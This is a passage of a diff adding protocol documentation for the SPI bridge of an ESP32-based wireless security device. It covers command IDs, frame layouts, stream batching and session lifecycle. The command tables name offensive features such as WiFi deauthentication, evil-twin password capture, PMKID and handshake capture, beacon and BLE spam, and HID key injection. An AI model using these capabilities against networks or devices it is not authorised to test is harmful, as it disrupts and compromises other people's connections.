`SYSTEM_DEVICE_STATE`, `SYSTEM_CONSOLE_EXEC`, +`SYSTEM_GET_SETTINGS`, `SYSTEM_SET_SETTINGS`) are **P4-local host-link commands**: +they share the `spi_id_t` space so the companion app and P4 agree, but they are +handled on the P4 and **never travel over this SPI bridge**. They are documented +in [`../host_link/protocol.md`](../host_link/protocol.md). + +### WiFi (`0x01`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_WIFI_SCAN` | `0x10` | `0x0110` | +| `SPI_ID_WIFI_CONNECT` | `0x11` | `0x0111` | +| `SPI_ID_WIFI_DISCONNECT` | `0x12` | `0x0112` | +| `SPI_ID_WIFI_GET_STA_INFO` | `0x13` | `0x0113` | +| `SPI_ID_WIFI_SET_AP` | `0x14` | `0x0114` | +| `SPI_ID_WIFI_START` | `0x15` | `0x0115` | +| `SPI_ID_WIFI_STOP` | `0x16` | `0x0116` | +| `SPI_ID_WIFI_SAVE_AP_CONFIG` | `0x17` | `0x0117` | +| `SPI_ID_WIFI_SET_ENABLED` | `0x18` | `0x0118` | +| `SPI_ID_WIFI_SET_AP_PASSWORD` | `0x19` | `0x0119` | +| `SPI_ID_WIFI_SET_AP_MAX_CONN` | `0x1A` | `0x011A` | +| `SPI_ID_WIFI_SET_AP_IP` | `0x1B` | `0x011B` | +| `SPI_ID_WIFI_PROMISC_START` | `0x1C` | `0x011C` | +| `SPI_ID_WIFI_PROMISC_STOP` | `0x1D` | `0x011D` | +| `SPI_ID_WIFI_CH_HOP_START` | `0x1E` | `0x011E` | +| `SPI_ID_WIFI_CH_HOP_STOP` | `0x1F` | `0x011F` | +| `SPI_ID_WIFI_APP_SCAN_AP` | `0x20` | `0x0120` | +| `SPI_ID_WIFI_APP_SCAN_CLIENT` | `0x21` | `0x0121` | +| `SPI_ID_WIFI_APP_BEACON_SPAM` | `0x22` | `0x0122` | +| `SPI_ID_WIFI_APP_DEAUTHER` | `0x23` | `0x0123` | +| `SPI_ID_WIFI_APP_FLOOD` | `0x24` | `0x0124` | +| `SPI_ID_WIFI_APP_SNIFFER` | `0x25` | `0x0125` | +| `SPI_ID_WIFI_APP_EVIL_TWIN` | `0x26` | `0x0126` | +| `SPI_ID_WIFI_APP_DEAUTH_DET` | `0x27` | `0x0127` | +| `SPI_ID_WIFI_APP_PROBE_MON` | `0x28` | `0x0128` | +| `SPI_ID_WIFI_APP_SIGNAL_MON` | `0x29` | `0x0129` | +| `SPI_ID_WIFI_SNIFFER_SET_SNAPLEN` | `0x2B` | `0x012B` | +| `SPI_ID_WIFI_SNIFFER_SET_VERBOSE` | `0x2C` | `0x012C` | +| `SPI_ID_WIFI_SNIFFER_SAVE_FLASH` | `0x2D` | `0x012D` | +| `SPI_ID_WIFI_SNIFFER_SAVE_SD` | `0x2E` | `0x012E` | +| `SPI_ID_WIFI_SNIFFER_FREE_BUFFER` | `0x2F` | `0x012F` | +| `SPI_ID_WIFI_SNIFFER_STREAM_SD` | `0x30` | `0x0130` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_PMKID` | `0x31` | `0x0131` | +| `SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID` | `0x32` | `0x0132` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE` | `0x33` | `0x0133` | +| `SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID` | `0x34` | `0x0134` | +| `SPI_ID_WIFI_DEAUTH_STATUS` | `0x35` | `0x0135` | +| `SPI_ID_WIFI_DEAUTH_SEND_RAW` | `0x36` | `0x0136` | +| `SPI_ID_WIFI_ASSOC_REQUEST` | `0x37` | `0x0137` | +| `SPI_ID_WIFI_DEAUTH_SEND_FRAME` | `0x38` | `0x0138` | +| `SPI_ID_WIFI_DEAUTH_SEND_BROADCAST` | `0x39` | `0x0139` | +| `SPI_ID_WIFI_TARGET_SCAN_START` | `0x3A` | `0x013A` | +| `SPI_ID_WIFI_TARGET_SCAN_STATUS` | `0x3B` | `0x013B` | +| `SPI_ID_WIFI_TARGET_SAVE_FLASH` | `0x3C` | `0x013C` | +| `SPI_ID_WIFI_TARGET_SAVE_SD` | `0x3D` | `0x013D` | +| `SPI_ID_WIFI_TARGET_FREE` | `0x3E` | `0x013E` | +| `SPI_ID_WIFI_PROBE_SAVE_FLASH` | `0x3F` | `0x013F` | +| `SPI_ID_WIFI_PROBE_SAVE_SD` | `0x40` | `0x0140` | +| `SPI_ID_WIFI_EVIL_TWIN_TEMPLATE` | `0x41` | `0x0141` | +| `SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD` | `0x42` | `0x0142` | +| `SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD` | `0x43` | `0x0143` | +| `SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE` | `0x44` | `0x0144` | +| `SPI_ID_WIFI_CLIENT_SAVE_FLASH` | `0x45` | `0x0145` | +| `SPI_ID_WIFI_CLIENT_SAVE_SD` | `0x46` | `0x0146` | +| `SPI_ID_WIFI_AP_SAVE_FLASH` | `0x47` | `0x0147` | +| `SPI_ID_WIFI_AP_SAVE_SD` | `0x48` | `0x0148` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE` | `0x49` | `0x0149` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_LIST` | `0x4A` | `0x014A` | +| `SPI_ID_WIFI_PORT_SCAN_NETWORK` | `0x4B` | `0x014B` | +| `SPI_ID_WIFI_PORT_SCAN_CIDR` | `0x4C` | `0x014C` | +| `SPI_ID_WIFI_PORT_SCAN_STOP` | `0x4D` | `0x014D` | +| `SPI_ID_WIFI_GET_MAC` | `0x4E` | `0x014E` | +| `SPI_ID_WIFI_GET_IP_INFO` | `0x4F` | `0x014F` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN` | `0xA0` | `0x01A0` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK` | `0xA1` | `0x01A1` | + +### Bluetooth (`0x02`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_BT_SCAN` | `0x50` | `0x0250` | +| `SPI_ID_BT_CONNECT` | `0x51` | `0x0251` | +| `SPI_ID_BT_DISCONNECT` | `0x52` | `0x0252` | +| `SPI_ID_BT_GET_INFO` | `0x53` | `0x0253` | +| `SPI_ID_BT_INIT` | `0x54` | `0x0254` | +| `SPI_ID_BT_DEINIT` | `0x55` | `0x0255` | +| `SPI_ID_BT_START` | `0x56` | `0x0256` | +| `SPI_ID_BT_STOP` | `0x57` | `0x0257` | +| `SPI_ID_BT_SET_RANDOM_MAC` | `0x58` | `0x0258` | +| `SPI_ID_BT_START_ADV` | `0x59` | `0x0259` | +| `SPI_ID_BT_STOP_ADV` | `0x5A` | `0x025A` | +| `SPI_ID_BT_SET_MAX_POWER` | `0x5B` | `0x025B` | +| `SPI_ID_BT_TRACKER_START` | `0x5C` | `0x025C` | +| `SPI_ID_BT_TRACKER_STOP` | `0x5D` | `0x025D` | +| `SPI_ID_BT_GET_ADDR_TYPE` | `0x5E` | `0x025E` | +| `SPI_ID_BT_SAVE_ANNOUNCE_CFG` | `0x5F` | `0x025F` | +| `SPI_ID_BT_APP_SCANNER` | `0x60` | `0x0260` | +| `SPI_ID_BT_APP_SNIFFER` | `0x61` | `0x0261` | +| `SPI_ID_BT_APP_SPAM` | `0x62` | `0x0262` | +| `SPI_ID_BT_APP_FLOOD` | `0x63` | `0x0263` | +| `SPI_ID_BT_APP_SKIMMER` | `0x64` | `0x0264` | +| `SPI_ID_BT_APP_TRACKER` | `0x65` | `0x0265` | +| `SPI_ID_BT_APP_GATT_EXP` | `0x66` | `0x0266` | +| `SPI_ID_BT_SPAM_LIST_LOAD` | `0x68` | `0x0268` | +| `SPI_ID_BT_SPAM_LIST_BEGIN` | `0x69` | `0x0269` | +| `SPI_ID_BT_SPAM_LIST_ITEM` | `0x6A` | `0x026A` | +| `SPI_ID_BT_SPAM_LIST_COMMIT` | `0x6B` | `0x026B` | +| `SPI_ID_BT_SCREEN_INIT` | `0x6C` | `0x026C` | +| `SPI_ID_BT_SCREEN_DEINIT` | `0x6D` | `0x026D` | +| `SPI_ID_BT_SCREEN_IS_ACTIVE` | `0x6E` | `0x026E` | +| `SPI_ID_BT_SCREEN_SEND_PARTIAL` | `0x6F` | `0x026F` | +| `SPI_ID_BT_L2CAP_STATUS` | `0x70` | `0x0270` | +| `SPI_ID_BT_HID_INIT` | `0x71` | `0x0271` | +| `SPI_ID_BT_HID_DEINIT` | `0x72` | `0x0272` | +| `SPI_ID_BT_HID_IS_CONNECTED` | `0x73` | `0x0273` | +| `SPI_ID_BT_HID_SEND_KEY` | `0x74` | `0x0274` | + +### LoRa (`0x03`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_LORA_RX` | `0x80` | `0x0380` | +| `SPI_ID_LORA_TX` | `0x81` | `0x0381` | + +### Meshtastic (`0x04`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MESH_BLE_INIT` | `0x90` | `0x0490` | +| `SPI_ID_MESH_BLE_STOP` | `0x91` | `0x0491` | +| `SPI_ID_MESH_WIFI_INIT` | `0x92` | `0x0492` | +| `SPI_ID_MESH_WIFI_STOP` | `0x93` | `0x0493` | +| `SPI_ID_MESH_FROMRADIO_PUSH` | `0x94` | `0x0494` | +| `SPI_ID_MESH_LOG_PUSH` | `0x95` | `0x0495` | +| `SPI_ID_MESH_STATUS` | `0x96` | `0x0496` | +| `SPI_ID_MESH_TORADIO_STREAM` | `0x97` | `0x0497` | + +### MeshCore (`0x05`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MCORE_BLE_INIT` | `0x98` | `0x0598` | +| `SPI_ID_MCORE_BLE_STOP` | `0x99` | `0x0599` | +| `SPI_ID_MCORE_TX_PUSH` | `0x9A` | `0x059A` | +| `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | +| `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | + +### Host Link (`0x06`) + +Companion BLE relay (the C5 owns the radio; the P4 owns crypto). The C5 routes +this category to `bt_dispatcher`. See [`../host_link/`](../host_link/README.md). + +| Command | Op | `spi_id_t` | Direction | +|---------|----|------------|-----------| +| `SPI_ID_HOST_BLE_INIT` | `0xA0` | `0x06A0` | P4→C5 cmd: start GATT + advertise | +| `SPI_ID_HOST_BLE_STOP` | `0xA1` | `0x06A1` | P4→C5 cmd: stop GATT | +| `SPI_ID_HOST_TX` | `0xA2` | `0x06A2` | P4→C5 push: device→app (BLE notify) | +| `SPI_ID_HOST_RX` | `0xA3` | `0x06A3` | C5→P4 stream: app→device (BLE write) | +| `SPI_ID_HOST_STATUS` | `0xA4` | `0x06A4` | P4→C5 cmd: poll BLE connection state | + +### Session (`0xFF`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SESSION_HEARTBEAT` | `0xF0` | `0xFFF0` | +| `SPI_ID_SESSION_LOST` | `0xF1` | `0xFFF1` | +| `SPI_ID_SESSION_STOP` | `0xF2` | `0xFFF2` | + +## Frame Example + +The 5-byte header maps directly to `spi_header_t`: + +```c +typedef struct { + uint8_t sync; // 0xAA + uint8_t type; // spi_type_t: CMD 0x01 / RESP 0x02 / STREAM 0x03 + uint8_t category; // spi_cat_t + uint8_t op; // operation within the category + uint8_t length; // payload bytes that follow (0-255) +} spi_header_t; +``` + +**Example - WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: + +``` +P4 -> C5 (command) + AA 01 01 10 00 + ^ ^ ^ ^ ^ + | | | | +-- length = 0 + | | | +----- op = 0x10 + | | +-------- category = 0x01 (WiFi) + | +----------- type = 0x01 (CMD) + +-------------- sync = 0xAA + +C5 -> P4 (response, after raising IRQ) - payload byte 0 is the status + AA 02 01 10 01 00 + ^ ^ ^ ^ ^ ^ + | | | | | +-- status = 0x00 (SPI_STATUS_OK) + | | | | +----- length = 1 + | | | +-------- op = 0x10 + | | +----------- category = 0x01 + | +-------------- type = 0x02 (RESP) + +----------------- sync = 0xAA +``` + +Scan results are then pulled item-by-item through the **Generic Data Pipe** (`SPI_ID_SYSTEM_DATA`) described below. + +## Generic Data Pipe +To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): +1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. +2. **Pull Item**: Call `SPI_ID_SYSTEM_DATA` with index `0 to N`. +3. **Real-time Stats**: Call `SPI_ID_SYSTEM_DATA` with index `0xEEEE` to get a `sniffer_stats_t` structure. + +## Stream Transport (batched) + +Long-running ops (sniffers, mesh bridge) emit a continuous stream of records. +The P4 drains them by polling `SPI_ID_SYSTEM_STREAM`. To keep throughput high, +the transport **batches many records into one transfer** instead of one record +per round-trip: + +- The C5 buffers records in a ring (depth `SPI_STREAM_QUEUE_LEN = 64`). On a + `SPI_ID_SYSTEM_STREAM` poll it packs as many as fit into a single large frame + of `SPI_STREAM_FRAME_SIZE` (2048 B) and the P4 always clocks that fixed size. +- Stream frame layout (after the 5-byte header, `type = STREAM`): + `[u16 batch_len]` then `batch_len` bytes of records, each + `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs + off and polls again later. +- The P4 unpacks and dispatches **each record to its `op`'s stream callback**, + exactly as if it had arrived in its own frame - so session/`seq`/backpressure + semantics stay **per record** (see Session Lifecycle). The command/response + path is unaffected and still uses `SPI_FRAME_SIZE`. + +Two related tunables: the C5 signals readiness with a short rising-edge IRQ +pulse (~10 µs - the P4 catches it via a GPIO edge interrupt, so no held level +or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; +when it overflows, records are dropped and counted (never block capture). + +### Stream Example (WiFi sniffer) + +**Producer - C5** (each captured 802.11 frame becomes one record; the session +layer adds the `{session_id, seq}` meta and applies backpressure): +```c +spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; +session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); +``` + +**On the wire** - the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame +batching the queued records: +``` +P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) +C5 -> P4: AA 03 00 00 00 | + ^ header, type=STREAM (cat/op/length unused for the batch) + payload: + 20 00 batch_len = 0x0020 (32 bytes of records) + ── record 1 ─────────────────────── + 25 01 op = 0x0125 (SPI_ID_WIFI_APP_SNIFFER) + 0D rec_len = 13 + 34 12 00 00 01 00 00 00 spi_stream_meta_t { session_id=0x1234, seq=1 } + D6 06 02 AA BB frame: rssi=-42, ch=6, len=2, data=AA BB + ── record 2 (same op, seq=2) ────── + 25 01 0D 34 12 00 00 02 00 00 00 D6 06 02 CC DD + ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── +``` + +**Consumer - P4** (each record is dispatched to the op's callback; the meta is +stripped by the session layer, so the consumer sees only the frame): +```c +// registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) +static void on_stream(const uint8_t *payload, uint8_t len) { + const spi_wifi_sniffer_frame_t *f = (const void *)payload; // one captured frame + storage_stream_write(pcap, f->data, f->len); +} +``` +See `wifi_sniffer.c` (both firmwares) for the full reference implementation. + +## Adding a New Command +To add a new feature (e.g., "GPS Get Location"): + +1. **Protocol**: Add `SPI_ID_GPS_GET` to `spi_protocol.h`. +2. **C5 Dispatcher**: + - Open `wifi_dispatcher.c` (or a new `gps_dispatcher.c`). + - Add the case for `SPI_ID_GPS_GET`. + - Call the actual hardware driver. + - If it returns a list, call `spi_bridge_provide_results(pointer, count, size)`. +3. **P4 Wrapper**: + - Create a wrapper in `Applications` or `Service`. + - Use `spi_bridge_send_command(SPI_ID_GPS_GET, ...)` to trigger the action. + - Use the generic `SPI_ID_SYSTEM_DATA` to pull results if necessary. + +## Session Lifecycle (Long-Running Operations) + +For operations that run for an extended period (sniffers, monitors, attacks +that emit a stream of events), the basic request-response model is unsafe: +if the master dies or stops listening, the slave keeps running indefinitely +and sends data into the void. The session protocol fixes this with three +mechanisms working together: + +### 1. Session ID +Every long-running operation is tagged with a 32-bit `session_id` chosen +randomly by the C5 when the operation starts. Both sides track the active +session; stream packets carry the id so stale data can be discarded after +a restart. + +### 2. Heartbeat (anti-zombie) +The P4 sends `SPI_ID_SESSION_HEARTBEAT { session_id, last_acked_seq }` +every **2 seconds** while a session is active. The C5 has a watchdog task +that runs every second and kills any session whose last heartbeat is older +than **5 seconds**. When killed, the C5 emits `SPI_ID_SESSION_LOST` as a +stream so the master can react (e.g., restart, show error UI). + +If the master detects 3 consecutive heartbeat failures, it assumes the +session is gone and fires its local `on_lost` callback. + +### 3. Backpressure window +Stream packets carry `{ session_id, seq }`. The master accumulates +`last_acked_seq` and reports it via heartbeat. The C5 refuses to emit if +`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` - protects against +buffer overflow when the slave produces faster than the master drains. +Drops are counted and logged. + +### Wire shapes + +| Direction | When | Packet | +|-----------|------|--------| +| P4 → C5 | START | `op_id` + op-specific params | +| C5 → P4 | START reply | status byte + `spi_session_resp_t { session_id }` | +| P4 → C5 | every 2s | `SPI_ID_SESSION_HEARTBEAT` + `spi_heartbeat_req_t` | +| C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | +| C5 → P4 | data | batched STREAM frame (see "Stream Transport"); each record = `op` + `spi_stream_meta_t { session_id, seq }` + payload | +| P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | +| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | + +### Master API + +```c +// Start a long-running operation. Spawns heartbeat task internally. +uint32_t spi_session_start(spi_id_t op_id, + const uint8_t *params, uint8_t params_len, + spi_session_stream_cb_t on_stream, // peeled meta + spi_session_lost_cb_t on_lost); + +// Clean teardown. Kills heartbeat, sends STOP. +esp_err_t spi_session_stop(uint32_t session_id); +``` + +Returns `SPI_SESSION_INVALID_ID` (0) on START failure. The `on_stream` +callback receives the **operation payload only** - the meta header is +stripped and ack tracking is invisible to the consumer. + +### Slave API (C5) + +```c +// Open a session for the op_id. Closes any prior session first. +uint32_t session_manager_start(spi_id_t op_id, session_kill_cb_t kill_cb); + +// Emit a stream packet (prefixes meta, applies backpressure). +esp_err_t session_manager_try_emit(uint32_t session_id, + const uint8_t *data, uint8_t len); +``` + +The op implementation stores the returned `session_id` and uses it for +every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop - +the op should call its own `_stop()` from there. + +### Migrating a New Operation (recipe) + +There are two patterns depending on whether the op emits streams. Both +are used in the codebase - see `wifi_sniffer` (streaming) and +`wifi_deauther` (non-streaming) as references. + +#### Pattern A - Non-streaming op (deauther, flood, evil_twin, …) + +The op runs in background but does NOT emit packets to the master. The +master polls for results via `SPI_ID_SYSTEM_DATA` if it needs data. + +**C5 side (only the dispatcher changes - op .c/.h untouched):** +```c +// In wifi_dispatcher.c (or bt_dispatcher.c): +static void killed_my_op(spi_id_t id) { (void)id; my_op_stop(); } + +case SPI_ID_MY_OP: + if (!my_op_start(...)) return SPI_STATUS_ERROR; + return open_session(SPI_ID_MY_OP, killed_my_op, + out_resp_payload, out_resp_len, my_op_stop); +``` + +**P4 side (wrapper):** +```c +static uint32_t s_session_id = SPI_SESSION_INVALID_ID; + +bool my_op_start(...) { + s_session_id = spi_session_start(SPI_ID_MY_OP, params, len, NULL, NULL); + return s_session_id != SPI_SESSION_INVALID_ID; +} + +void my_op_stop(void) { + if (s_session_id != SPI_SESSION_INVALID_ID) { + spi_session_stop(s_session_id); + s_session_id = SPI_SESSION_INVALID_ID; + } +} +``` + +#### Pattern B - Streaming op (sniffer, ble_sniffer, …) + +The op emits a continuous stream of packets to the master. + +**C5 side:** +1. Add `static uint32_t s_session_id = SPI_SESSION_INVALID_ID;` to the + op's `.c`. +2. Add public `_bind_session(uint32_t)` setter and + `_session_killed(spi_id_t)` kill callback (the latter calls `_stop()`). +3. Replace `spi_bridge_stream_push(SPI_ID_OP, data, len)` with + `session_manager_try_emit(s_session_id, data, len)`. +4. In the dispatcher, replace the START handler with: call + `op_start(...)`, then `session_manager_start(SPI_ID_OP, op_session_killed)`, + then `op_bind_session(sid)`, then return + `spi_session_resp_t { sid }` as response payload. + +**P4 side:** +1. Replace `spi_bridge_send_command(SPI_ID_OP, …)` + + `spi_bridge_register_stream_cb(SPI_ID_OP, raw_cb)` with a single + `spi_session_start(SPI_ID_OP, params, …, on_stream, on_lost)`. +2. Store the returned `session_id`. +3. Change STOP to `spi_session_stop(session_id)`. +4. The `on_stream` callback signature is + `void(const uint8_t *payload, uint8_t len)` - the meta header is + already stripped. + +### Tunables +Defined in `session_manager.c` (slave) and `spi_session.c` (master): +- `SESSION_TIMEOUT_MS` = 5000 - slave watchdog timeout +- `WATCHDOG_PERIOD_MS` = 1000 - slave watchdog tick +- `HEARTBEAT_INTERVAL_MS` = 2000 - master ping period +- `HEARTBEAT_FAIL_LIMIT` = 3 - master fails before declaring lost +- `SPI_SESSION_WINDOW` = 64 - backpressure window (in `spi_protocol.h`) + +### Migrated operations + +All long-running ops now use the session lifecycle. Each one: +- Returns `spi_session_resp_t { session_id }` on START. +- Has a kill_cb registered with the session manager that calls its `_stop()`. +- Is closed by the master via `SPI_ID_SESSION_STOP { session_id }` (sent + internally by `spi_session_stop`). +- Is auto-killed by the C5 watchdog if the master stops sending heartbeats + for 5s (master crash, screen freeze, etc.). + +| Op | C5 module | P4 wrapper | Streams? | +|----|-----------|-----------|----------| +| `WIFI_APP_SNIFFER` | wifi_sniffer.c | wifi_sniffer.c | ✓ stream | +| `BT_APP_SNIFFER` | ble_sniffer.c | bluetooth_service.c | ✓ stream | +| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | - | +| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | - | +| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | - | +| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | - | +| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | - | +| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | - | +| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | - | +| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | - | +| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | - | +| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | - | +| `BT_APP_SPAM` | (handler pending) | canned_spam.c | - | +| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | - | + +The legacy `SPI_ID_WIFI_APP_ATTACK_STOP` and `SPI_ID_BT_APP_STOP` shotgun +commands have been removed entirely. Every op now stops via its own +session via `SPI_ID_SESSION_STOP { session_id }`. + +## Hardware Hookup +| Signal | P4 Pin | C5 Pin | +|--------|--------|--------| +| SCLK | 20 | 6 | +| MOSI | 21 | 7 | +| MISO | 22 | 2 | +| CS | 23 | 10 | +| IRQ | 2 | 3 | +| RESET | 48 | EN | +| BOOT | 33 | IO0 | +| UART TX| 46 | RX | +| UART RX| 47 | TX | + +--- + +# C5 + +This component transforms the **ESP32-C5** into a high-performance radio co-processor for the ESP32-P4. + +## How it Works +The C5 runs a background task (`spi_bridge_task`) that stays in a blocked state waiting for the P4 to send SPI bytes. + +1. **Reception**: When bytes arrive, the task validates the `0xAA` sync byte. +2. **Routing**: It switches on the `Category` byte and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth); the `Op` byte selects the operation within that dispatcher. +3. **Execution**: The Dispatcher executes the radio command (e.g., starts a scan). +4. **Notification**: Once the command is done (or results are ready), the C5 raises the **IRQ (Handshake)** pin. +5. **Response**: The P4 sees the IRQ, sends a dummy SPI clock, and the C5 "pushes" the response packet back. + +## Memory Mapping (Zero-Copy Results) +The C5 uses a `current_data_source` pointer system. Instead of copying large scan lists into a bridge buffer, the Dispatcher simply points the bridge to the existing result array in memory: +```c +spi_bridge_provide_results(wifi_records, count, sizeof(wifi_ap_record_t)); +``` +The bridge then serves these items one by one when the P4 asks for them via the generic `SPI_ID_SYSTEM_DATA` command. + +## Key Files +- `spi_bridge.c`: Main task and generic data provider logic. +- `wifi_dispatcher.c`: Logic to translate SPI IDs to WiFi driver calls. +- `bt_dispatcher.c`: Logic to translate SPI IDs to NimBLE/BT calls. +- `spi_slave_driver.c`: Low-level peripheral configuration. +- `session_manager.c`: Session lifecycle for long-running operations + (heartbeat watchdog + backpressure). See "Session Lifecycle" below. + +## Command Categories +The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte +selects the operation within it. Together they pack into `spi_id_t` via +`SPI_CMD(cat, op)`. +- `0x00`: System/Bridge management (ping, status, version, data, stream, log). +- `0x01`: WiFi operations. +- `0x02`: Bluetooth operations. +- `0x03`: LoRa operations. +- `0x04`: Meshtastic phone bridge. +- `0x05`: MeshCore phone bridge. +- `0x06`: Companion host-link BLE relay (routed to `bt_dispatcher`). +- `0xFF`: Session lifecycle (heartbeat, lost, stop). + +`SPI_ID_SYSTEM_LOG` (`0x0007`) is a C5→P4 stream that forwards this chip's log +lines to the companion's C5 console. + +## Session Lifecycle (Long-Running Operations) + +For full design and migration recipe, see the +[P4 README "Session Lifecycle" section](../../../../firmware_p4/components/Service/spi_bridge/README.md#session-lifecycle-long-running-operations). +The two sides share `spi_protocol.h` so the wire format is identical. + +### Slave responsibilities (this side) + +The `session_manager` runs a background watchdog that auto-kills sessions +when the master stops sending heartbeats (5s timeout). Each long-running +operation must: + +1. Call `session_manager_start(op_id, kill_cb)` from its dispatcher case + to obtain a `session_id`. The dispatcher returns this id to the master + inside an `spi_session_resp_t` response payload. +2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` - invoked + by the watchdog when the master goes quiet, and also when the master + sends `SPI_ID_SESSION_STOP`. +3. **Streaming ops only**: store the id in the op (e.g. via a + `_bind_session(uint32_t)` setter) and emit packets via + `session_manager_try_emit(s_session_id, data, len)` instead of raw + `spi_bridge_stream_push` - this prefixes meta and applies backpressure. + +For non-streaming ops (deauther, flood, evil_twin, beacon_spam, etc.), +the `kill_cb` lives in the dispatcher itself - the op's `.c` file does +not need to know about sessions at all. + +References: +- Streaming pattern: `wifi_sniffer.c`, `ble_sniffer.c`. +- Non-streaming pattern: see the `killed_*` static functions plus the + `open_session()` / `bt_open_session()` helpers in the dispatchers. diff --git a/docs/spi_bridge/c5.md b/docs/spi_bridge/c5.md deleted file mode 100644 index 98b44c3a2..000000000 --- a/docs/spi_bridge/c5.md +++ /dev/null @@ -1,75 +0,0 @@ -# SPI Bridge - C5 Slave - -This component transforms the **ESP32-C5** into a high-performance radio co-processor for the ESP32-P4. - -## How it Works -The C5 runs a background task (`spi_bridge_task`) that stays in a blocked state waiting for the P4 to send SPI bytes. - -1. **Reception**: When bytes arrive, the task validates the `0xAA` sync byte. -2. **Routing**: It switches on the `Category` byte and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth); the `Op` byte selects the operation within that dispatcher. -3. **Execution**: The Dispatcher executes the radio command (e.g., starts a scan). -4. **Notification**: Once the command is done (or results are ready), the C5 raises the **IRQ (Handshake)** pin. -5. **Response**: The P4 sees the IRQ, sends a dummy SPI clock, and the C5 "pushes" the response packet back. - -## Memory Mapping (Zero-Copy Results) -The C5 uses a `current_data_source` pointer system. Instead of copying large scan lists into a bridge buffer, the Dispatcher simply points the bridge to the existing result array in memory: -```c -spi_bridge_provide_results(wifi_records, count, sizeof(wifi_ap_record_t)); -``` -The bridge then serves these items one by one when the P4 asks for them via the generic `SPI_ID_SYSTEM_DATA` command. - -## Key Files -- `spi_bridge.c`: Main task and generic data provider logic. -- `wifi_dispatcher.c`: Logic to translate SPI IDs to WiFi driver calls. -- `bt_dispatcher.c`: Logic to translate SPI IDs to NimBLE/BT calls. -- `spi_slave_driver.c`: Low-level peripheral configuration. -- `session_manager.c`: Session lifecycle for long-running operations - (heartbeat watchdog + backpressure). See "Session Lifecycle" below. - -## Command Categories -The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte -selects the operation within it. Together they pack into `spi_id_t` via -`SPI_CMD(cat, op)`. -- `0x00`: System/Bridge management (ping, status, version, data, stream, log). -- `0x01`: WiFi operations. -- `0x02`: Bluetooth operations. -- `0x03`: LoRa operations. -- `0x04`: Meshtastic phone bridge. -- `0x05`: MeshCore phone bridge. -- `0x06`: Companion host-link BLE relay (routed to `bt_dispatcher`). -- `0xFF`: Session lifecycle (heartbeat, lost, stop). - -`SPI_ID_SYSTEM_LOG` (`0x0007`) is a C5→P4 stream that forwards this chip's log -lines to the companion's C5 console. - -## Session Lifecycle (Long-Running Operations) - -For full design and migration recipe, see the -[P4 README "Session Lifecycle" section](../../../../firmware_p4/components/Service/spi_bridge/README.md#session-lifecycle-long-running-operations). -The two sides share `spi_protocol.h` so the wire format is identical. - -### Slave responsibilities (this side) - -The `session_manager` runs a background watchdog that auto-kills sessions -when the master stops sending heartbeats (5s timeout). Each long-running -operation must: - -1. Call `session_manager_start(op_id, kill_cb)` from its dispatcher case - to obtain a `session_id`. The dispatcher returns this id to the master - inside an `spi_session_resp_t` response payload. -2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` - invoked - by the watchdog when the master goes quiet, and also when the master - sends `SPI_ID_SESSION_STOP`. -3. **Streaming ops only**: store the id in the op (e.g. via a - `_bind_session(uint32_t)` setter) and emit packets via - 